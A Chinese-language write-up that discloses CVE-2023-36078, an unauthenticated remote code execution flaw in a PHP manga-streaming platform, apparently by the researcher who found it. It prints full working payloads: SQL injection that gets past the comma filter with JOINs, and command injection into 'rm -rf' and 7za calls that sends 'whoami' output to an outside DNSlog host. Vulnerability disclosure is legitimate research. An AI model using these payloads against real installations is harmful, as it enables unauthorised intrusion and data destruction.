0x01 前言

記錄一次本人CVE漏洞挖掘的過程,此漏洞已被分配編號:CVE-2023-36078

0x02 挖掘思路

漏洞編號:CVE-2023-36078

本次挖掘的WEB應用采用PHP編寫,是一個流媒體平臺,可以方便地瀏覽流媒體,支持壓縮、添加、刪除、閱讀模式、書簽和歷史記錄等功能,使用mysql作為數據庫。

本文詳細介紹了兩個命令注入點的挖掘和分析過程,其中一個注入失敗,另一個實現從Sql注入到命令注入,成功Get未授權RCE漏洞。

本次挖掘結合滲透測試和代碼審計,先從代碼審計入手,根據未授權遠程代碼執行漏洞的常規思路,尋找調用Shell接口的API函數,PHP執行系統命令常見的函數如下:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

思路就是在代碼中尋找這些敏感函數,以查找潛在的漏洞。

0x03 挖掘過程

根據上面的敏感函數,查找源代碼,發現兩個代碼處存在shell_exec()函數。

1、compress.php

第一個是在 /php/compress/compress.php 文件中,其功能是在進行7z壓縮時,使用命令拼接path和extractTo參數。

追蹤這兩個參數,發現當chapterType參數為7z時,path和extractTo參數通過chapterPath和extractTo參數傳入。

繼續追蹤,發現chapterPath和chapterType參數可以通過POST直接傳入,extractTo參數值通過日期和chapterPath的MD5值拼接得到。

至此大致了解這個接口的功能點,通過傳入一個壓縮方式和文件路徑,對文件進行壓縮,chapterPath和chapterType參數均可控,且該功能點沒有鑒權控制,因此只需設置chapterType參為7z,chapterPath為我們注入的命令即可實現未授權遠程代碼執行。

第一張圖可以看出命令拼接使用了單引號閉合傳入的字符串,因此我們需要構造單引號閉合區間,原理類似Sql注入,并使用分號分隔命令。

因為此處RCE沒有回顯,借助dnslog判斷,隨便補齊其余參數,構造Payload:

chapterPath='; ping -c 3 5b72a1a3.dns.dnsmap.org.;'&chapterType=7z

此時服務器執行的命令應為:

7za x ''; ping -c 3 5b72a1a3.dns.dnsmap.org.;'' -r -o'$extractTo'

理論上可以執行命令,但是發包后dnslog沒有回顯,且返回包為空。

嘗試構造一個正常的chapterId參數,發現返回包有回顯,此處報錯是路徑錯誤的問題,代碼邏輯實際已經走過命令執行的步驟。

說明我們的命令注入Payload哪里出了問題,經過一段時間排查,發現是引號的問題,只要沒有引號,程序就會正常執行,有了引號,程序就會中途報錯退出。

繼續查看代碼,找到了原因,因為在執行命令之前,程序還會把chapterPath寫入數據庫,

追蹤dosql函數,發現其Sql語句使用單引號拼接,因此我們Paylaod中的單引號會干擾數據庫操作的命令,導致出錯提前退出,因此沒有走到命令注入點。

現在思路清晰了,需要構造的Payload既要閉合命令注入點的單引號,又要不干擾Sql語句的單引號,剛開始嘗試用url編碼單引號,但是發現mysql依舊可以識別,經過多次嘗試,最終構造這樣的Payload:

chapterPath=%5c';ping -c 3 5b72a1a3.dns.dnsmap.org.;%5c'&chapterType=7z

其中%5c是 \ 符號的url編號,命令終端不會把%5c識別為轉義符,而mysql可以識別為轉義符,這樣就滿足了條件,繞過了mysql的干擾,發包后果然如預期。

但是dnslog依舊沒有收到記錄,排查一段時間后依舊無果(崩潰了TAT),于是先把這個點擱置,查看另一個命令注入點。

2、delete.php

另一個注入點是在 /php/manga/delete.php 中,其功能是在刪除文件時,使用 rm -rf 拼接路徑造成了命令注入,且這個接口也是無需鑒權的。

在圈出的紅框上方一行代碼可以看到mangaPath參數是從mangaPathRes[0]['mangaPath']得到的。

追蹤mangaPathRes[0]['mangaPath'],發現mangaPathRe是從數據庫中查詢的結果。

仔細查看dosql函數,發現name默認為*,group、order和limit默認都為空,最終執行的Sql語句如下:

select * from manga where mangaId=$mangaId;

確定了mangaPath參數的值其實是從manga表中查詢mangaId行數據后mangaPath字段的值。

看到這里崩潰了,似乎沒戲,因為參數沒法控制,但是又想了一下,這里Sql語句沒有進行過濾,理論上存在Sql注入,如果配合聯合注入,構造mangaPath字段對應的值為注入的命令就可以執行遠程命令。

開始嘗試聯合注入,該處代碼Sql注入點mangaId為數字類型,deleteFile參數通過POST參數可控,Sql語句出錯后返回的code為2,Sql語句正常執行后返回的code為0,通過order by判斷聯合查詢個數,發現為12個,于是構造Payload先進行驗證:

mangaId=1 union select 1,2,3,4,5,6,7,8,9,10,11,12&deleteFile=true

發包后發現code為2,Sql語句出錯,果然沒有像預期想的那么簡單。發包后發現code為2,Sql語句出錯,果然沒有像預期想的那么簡單。

繼續查看代碼,經過很長時間的排查和測試,發現原來在where字段處,代碼會把逗號分隔的所有項識別為多個條件數組,使用and組裝。

因此我們的Payload就變成了這樣,所以Sql語句報錯:

mangaId=1 union select 1 and 2 and 3 and 4 and 5 and 6 and 7 and 8 and 9 and 10 and 11 and 12&deleteFile=true

現在思路清晰了,聯合查詢項不使用逗號分隔,而使用join進行繞過,構造Payload:

mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select 5)e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true

發包后發現滿足預期,code為0,說明成功聯合注入。

接下來就簡單了,構造命令注入Payload,回帶whoami的執行結果,因為此處命令注入沒有回顯,依舊采用dnslog的方式驗證:

mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true

其中命令部分為

\";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;\"

因為代碼中命令拼接使用雙引號,這里需要閉合,同時使用轉義符區分PHP語法的雙引號,使用分號分隔命令,此時服務器執行的命令應為:

rm -rf "";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;""

dnslog收到記錄,并成功回顯。

至此成功挖掘了此處的遠程代碼執行漏洞。

0x04 總結

相關漏洞信息已提交給對應人員或平臺。

漏洞挖掘是一個需要耐心的活,當遇到卡殼的時候永遠告訴自己再看看,再試試,或許就能發現繞過方式和問題點。

不怕失敗,堅持到最后,砥礪前行,最后祝自己和各位師傅在以后的挖洞道路上順順利利!